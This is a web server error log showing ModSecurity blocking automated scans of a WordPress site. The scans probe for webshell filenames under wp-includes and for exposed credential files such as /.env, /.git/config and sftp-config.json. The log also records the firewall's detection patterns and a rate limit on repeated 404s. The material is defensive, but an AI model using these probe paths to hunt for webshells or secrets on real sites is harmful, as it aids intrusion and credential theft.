[Mon Feb 23 12:03:31.541277 2026] [:error] [pid 39540:tid 39581] [client 45.132.224.107:63067] [client 45.132.224.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aZvRk7sgm9aTWhlRScLmkwAAAcw"]
[Mon Feb 23 12:03:32.501117 2026] [:error] [pid 39504:tid 39523] [client 45.132.224.152:44269] [client 45.132.224.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/theme.php"] [unique_id "aZvRlHLcHpOlI9gwwJrufAAAAVE"]
[Mon Feb 23 12:03:32.863566 2026] [proxy_fcgi:error] [pid 39640:tid 39688] [client 45.132.224.134:21375] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:03:34.333863 2026] [:error] [pid 39640:tid 39687] [client 45.132.224.134:21375] [client 45.132.224.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/shell.php"] [unique_id "aZvRltsK--eVCgzvvudqNAAAApE"]
[Mon Feb 23 12:03:34.674205 2026] [:error] [pid 25380:tid 25405] [client 45.132.224.138:50659] [client 45.132.224.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/class-wp-customize-selective-refresh-library.php"] [unique_id "aZvRlqKrc8yFQ8fy78p8WQAAANc"]
[Mon Feb 23 12:03:35.015581 2026] [proxy_fcgi:error] [pid 39639:tid 39667] [client 45.132.224.150:31883] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:03:35.550189 2026] [:error] [pid 39639:tid 39650] [client 45.132.224.150:31883] [client 45.132.224.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/library/wp-login.php"] [unique_id "aZvRlxpFkMoMi8uTUUMxWQAAAkc"]
[Mon Feb 23 12:03:37.362836 2026] [:error] [pid 25380:tid 25404] [client 45.132.224.122:43025] [client 45.132.224.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/interactivity-api/about.php"] [unique_id "aZvRmaKrc8yFQ8fy78p8XwAAANY"]
[Mon Feb 23 12:03:38.844272 2026] [:error] [pid 25380:tid 25394] [client 45.132.224.145:29277] [client 45.132.224.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-2019.php"] [unique_id "aZvRmqKrc8yFQ8fy78p8ZwAAAMw"]
[Mon Feb 23 12:03:39.196166 2026] [:error] [pid 25294:tid 25334] [client 45.132.224.149:60929] [client 45.132.224.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/info.php"] [unique_id "aZvRmyRCFB3CqIo_jfaPhgAAAEM"]
[Mon Feb 23 12:03:39.766149 2026] [:error] [pid 25380:tid 25385] [client 45.132.224.143:36053] [client 45.132.224.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/log.php"] [unique_id "aZvRm6Krc8yFQ8fy78p8aQAAAMM"]
[Mon Feb 23 12:03:40.155333 2026] [:error] [pid 39639:tid 39666] [client 45.132.224.152:39873] [client 45.132.224.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime-num.php"] [unique_id "aZvRnBpFkMoMi8uTUUMxaQAAAlc"]
[Mon Feb 23 12:03:40.500036 2026] [:error] [pid 39639:tid 39661] [client 45.132.224.140:62293] [client 45.132.224.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh-entry.min-object.php"] [unique_id "aZvRnBpFkMoMi8uTUUMxagAAAlI"]
[Mon Feb 23 12:03:40.948692 2026] [:error] [pid 39538:tid 39554] [client 45.132.224.129:43263] [client 45.132.224.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/aw.php"] [unique_id "aZvRnC4Zk8-cQOG3ZnozhQAAAYw"]
[Mon Feb 23 12:03:42.396940 2026] [:error] [pid 25380:tid 25385] [client 45.132.224.150:38095] [client 45.132.224.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/db.php"] [unique_id "aZvRnqKrc8yFQ8fy78p8dQAAAMM"]
[Mon Feb 23 12:03:42.803203 2026] [:error] [pid 39640:tid 39694] [client 45.132.224.148:22675] [client 45.132.224.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/install.php"] [unique_id "aZvRntsK--eVCgzvvudqSgAAApg"]
[Mon Feb 23 12:03:43.493429 2026] [proxy_fcgi:error] [pid 25295:tid 25365] [client 45.132.224.125:35607] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:03:43.673503 2026] [:error] [pid 25295:tid 25361] [client 45.132.224.125:35607] [client 45.132.224.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/install.php"] [unique_id "aZvRn42Av4J1Jnqi7yKkmAAAAJQ"]
[Mon Feb 23 12:03:44.040285 2026] [:error] [pid 39639:tid 39655] [client 45.132.224.155:37871] [client 45.132.224.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/dedi1.php"] [unique_id "aZvRoBpFkMoMi8uTUUMxcgAAAkw"]
[Mon Feb 23 12:03:44.835948 2026] [:error] [pid 39538:tid 39560] [client 45.132.224.129:41729] [client 45.132.224.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/template-less.php"] [unique_id "aZvRoC4Zk8-cQOG3ZnoziQAAAZI"]
[Mon Feb 23 12:03:45.187356 2026] [:error] [pid 39640:tid 39692] [client 45.132.224.145:35587] [client 45.132.224.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/alfa-rex.php"] [unique_id "aZvRodsK--eVCgzvvudqUQAAApY"]
[Mon Feb 23 12:03:46.910132 2026] [:error] [pid 25380:tid 25400] [client 45.132.224.131:39237] [client 45.132.224.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/min.php"] [unique_id "aZvRoqKrc8yFQ8fy78p8jQAAANI"]
[Mon Feb 23 12:03:47.399484 2026] [:error] [pid 39540:tid 39576] [client 45.132.224.116:28249] [client 45.132.224.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wp-conflg.php"] [unique_id "aZvRo7sgm9aTWhlRScLmuQAAAcc"]
[Mon Feb 23 12:03:48.228462 2026] [:error] [pid 25294:tid 25354] [client 45.132.224.140:25921] [client 45.132.224.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/file.php"] [unique_id "aZvRpCRCFB3CqIo_jfaPiQAAAEo"]
[Mon Feb 23 12:03:48.890521 2026] [:error] [pid 39540:tid 39585] [client 45.132.224.141:55883] [client 45.132.224.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "aZvRpLsgm9aTWhlRScLmwAAAAdA"]
[Mon Feb 23 12:03:49.460620 2026] [:error] [pid 39504:tid 39515] [client 45.132.224.121:37135] [client 45.132.224.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/load.php"] [unique_id "aZvRpXLcHpOlI9gwwJruggAAAUk"]
[Mon Feb 23 12:03:49.859484 2026] [:error] [pid 39538:tid 39545] [client 45.132.224.119:33871] [client 45.132.224.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/chosen.php"] [unique_id "aZvRpS4Zk8-cQOG3ZnozjQAAAYM"]
[Mon Feb 23 12:03:50.245189 2026] [:error] [pid 25380:tid 25400] [client 45.132.224.115:24127] [client 45.132.224.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-wp-theme-float.php"] [unique_id "aZvRpqKrc8yFQ8fy78p8kgAAANI"]
[Mon Feb 23 12:03:51.171786 2026] [:error] [pid 25380:tid 25391] [client 45.132.224.116:43509] [client 45.132.224.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/wp-style.php"] [unique_id "aZvRp6Krc8yFQ8fy78p8qAAAAMk"]
[Mon Feb 23 12:03:51.565937 2026] [proxy_fcgi:error] [pid 39540:tid 39574] [client 45.132.224.119:56437] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:03:51.733352 2026] [:error] [pid 39540:tid 39587] [client 45.132.224.119:56437] [client 45.132.224.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/autoload_classmap.php"] [unique_id "aZvRp7sgm9aTWhlRScLmzwAAAdI"]
[Mon Feb 23 12:03:53.674453 2026] [proxy_fcgi:error] [pid 39540:tid 39569] [client 45.132.224.111:26943] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:03:53.878659 2026] [:error] [pid 39540:tid 39589] [client 45.132.224.111:26943] [client 45.132.224.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-bindings/admin.php"] [unique_id "aZvRqbsgm9aTWhlRScLm3AAAAdQ"]
[Mon Feb 23 12:03:54.304001 2026] [:error] [pid 25380:tid 25395] [client 45.132.224.131:20335] [client 45.132.224.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/autoload_classmap.php"] [unique_id "aZvRqqKrc8yFQ8fy78p8rgAAAM0"]
[Mon Feb 23 12:03:54.949700 2026] [:error] [pid 25380:tid 25401] [client 45.132.224.157:55739] [client 45.132.224.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/db.php"] [unique_id "aZvRqqKrc8yFQ8fy78p8sQAAANM"]
[Mon Feb 23 12:03:56.310916 2026] [proxy_fcgi:error] [pid 39540:tid 39582] [client 45.132.224.148:54229] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:03:57.068189 2026] [:error] [pid 39540:tid 39572] [client 45.132.224.148:54229] [client 45.132.224.148] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/system.php"] [unique_id "aZvRrbsgm9aTWhlRScLm7AAAAcM"]
[Mon Feb 23 12:03:57.668545 2026] [:error] [pid 39538:tid 39548] [client 45.132.224.141:58219] [client 45.132.224.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-bindings/about.php"] [unique_id "aZvRrS4Zk8-cQOG3ZnozkwAAAYY"]
[Mon Feb 23 12:03:58.427332 2026] [:error] [pid 39639:tid 39653] [client 45.132.224.149:39677] [client 45.132.224.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/class-wp-customize-upload-control-cookie.php"] [unique_id "aZvRrhpFkMoMi8uTUUMxjQAAAko"]
[Mon Feb 23 12:03:58.775103 2026] [:error] [pid 25294:tid 25354] [client 45.132.224.116:38031] [client 45.132.224.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/simi.php"] [unique_id "aZvRriRCFB3CqIo_jfaPlQAAAEo"]
[Mon Feb 23 12:03:59.189160 2026] [:error] [pid 39540:tid 39589] [client 45.132.224.133:36097] [client 45.132.224.133] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-wp-taxonomy-sample.php"] [unique_id "aZvRr7sgm9aTWhlRScLm8QAAAdQ"]
[Mon Feb 23 14:32:08.553225 2026] [:error] [pid 25380:tid 25389] [client 183.82.25.1:1125] [client 183.82.25.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 183.82.25.1, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aZv0aKKrc8yFQ8fy78q02QAAAMc"]
[Mon Feb 23 14:32:08.564297 2026] [proxy_fcgi:error] [pid 25380:tid 25389] [client 183.82.25.1:1125] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 20:20:32.994015 2026] [:error] [pid 25380:tid 25403] [client 31.184.236.37:46362] [client 31.184.236.37] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env"] [unique_id "aZxGEKKrc8yFQ8fy78o43AAAANU"]
[Mon Feb 23 23:18:22.324103 2026] [:error] [pid 39540:tid 39573] [client 185.93.89.120:62949] [client 185.93.89.120] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aZxvvrsgm9aTWhlRScLVvwAAAcQ"]
[Mon Feb 23 23:18:26.791164 2026] [:error] [pid 29909:tid 29931] [client 185.93.89.120:64020] [client 185.93.89.120] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aZxvwj9oc2QzltksUk7nZwAAARQ"]
[Tue Feb 24 10:40:12.232835 2026] [:error] [pid 37540:tid 37625] [client 195.178.110.159:37666] [client 195.178.110.159] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aZ0PjCahRAUBJS8hpJXOsAAAAJc"]
[Tue Feb 24 17:55:41.857088 2026] [:error] [pid 34750:tid 34789] [client 122.161.48.156:12964] [client 122.161.48.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.161.48.156, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aZ11neaZ-Iv_wvbRkKLYQAAAAUg"]
[Tue Feb 24 17:55:41.868063 2026] [proxy_fcgi:error] [pid 34750:tid 34789] [client 122.161.48.156:12964] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 19:44:17.054124 2026] [:error] [pid 16805:tid 16829] [client 103.77.107.57:57325] [client 103.77.107.57] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "aZ2PEaYuGciBkyQZTxUKsgAAAxY"]
[Tue Feb 24 22:26:55.999763 2026] [proxy_fcgi:error] [pid 37715:tid 37725] [client 68.221.137.35:29283] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 22:26:56.248646 2026] [proxy_fcgi:error] [pid 37715:tid 37730] [client 68.221.137.35:29283] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 22:26:56.492165 2026] [proxy_fcgi:error] [pid 37715:tid 37718] [client 68.221.137.35:29283] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 22:26:56.735537 2026] [proxy_fcgi:error] [pid 37715:tid 37728] [client 68.221.137.35:29283] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 22:26:56.978668 2026] [proxy_fcgi:error] [pid 37715:tid 37717] [client 68.221.137.35:29283] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 22:26:57.222045 2026] [proxy_fcgi:error] [pid 37715:tid 37740] [client 68.221.137.35:29283] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 22:26:57.520083 2026] [proxy_fcgi:error] [pid 37715:tid 37721] [client 68.221.137.35:29283] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 22:26:57.763434 2026] [proxy_fcgi:error] [pid 37715:tid 37734] [client 68.221.137.35:29283] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 22:26:58.006217 2026] [proxy_fcgi:error] [pid 37715:tid 37726] [client 68.221.137.35:29283] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 22:26:58.264312 2026] [proxy_fcgi:error] [pid 37715:tid 37736] [client 68.221.137.35:29283] AH01071: Got error 'Primary script unknown'
[Tue Feb 24 22:26:58.510788 2026] [:error] [pid 37715:tid 37720] [client 68.221.137.35:29283] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pp.php"] [unique_id "aZ21MkIBAxg--xL5ughaegAAAgM"]
[Tue Feb 24 22:26:59.162294 2026] [:error] [pid 37784:tid 37792] [client 68.221.137.35:2942] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pp.php"] [unique_id "aZ21MxhsjFGJ0bR81bdviwAAAoY"]
[Tue Feb 24 22:27:00.411032 2026] [:error] [pid 35061:tid 35089] [client 68.221.137.35:5482] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pp.php"] [unique_id "aZ21NCTtNYeQS_BngHwB9wAAARY"]
[Tue Feb 24 22:27:01.317173 2026] [:error] [pid 40455:tid 40469] [client 68.221.137.35:1566] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pp.php"] [unique_id "aZ21NVw13ca9RV2qrBmGdQAAAUk"]
[Tue Feb 24 22:27:02.195434 2026] [:error] [pid 37715:tid 37732] [client 68.221.137.35:6722] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rak.php"] [unique_id "aZ21NkIBAxg--xL5ughafQAAAg8"]
[Tue Feb 24 22:27:03.183511 2026] [:error] [pid 37715:tid 37741] [client 68.221.137.35:5038] [client 68.221.137.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rak.php"] [unique_id "aZ21N0IBAxg--xL5ughafwAAAhg"]
